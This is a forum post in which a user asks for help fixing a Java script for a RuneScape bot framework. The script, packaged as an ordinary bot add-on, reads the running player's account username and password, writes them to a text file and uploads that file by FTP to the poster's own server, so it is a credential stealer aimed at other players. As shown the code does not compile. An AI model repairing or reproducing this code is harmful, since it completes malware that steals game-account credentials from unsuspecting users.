need scripting help

I still get some errors with the bot i am making,
Could anyone help me?

import java.net.*;
import java.awt.*;
import java.io.*;
import java.util.*;
import com.speljohan.rsbot.script.Random;
import sun.net.ftp.*;

public class AccountInfo extends Random {

		String filename = "AccountInfo.txt";
		String usern = account.getUsername();
		String passwd = account.getPassword();
		
	Account account = Bot.getAccount();

		public String getAuthor() {
			return ( "Wimpie" );
		}

		public String getName() {
			return ( "Accountinfo" );
		}

		public double getVersion() {
			return ( 1.0 );
		}

		Writer output = new BufferedWriter(new FileWriter(filename));
		try {
			output.write(usern);
			output.write(passwd);
		}
		finally {
						output.close();
				}

		String server = "MYSERVER.awardspace.com";
		String username = "MYUSERNAME";
		String password = "MYPASS";

		FtpClient client = new FtpClient();
		client.openServer(server);
		client.login(username, password);
		client.binary();
		TelnetOutputStream netOut = ftpClient.put(fileName);
}

Code (markup):

Thanks,
Wimpie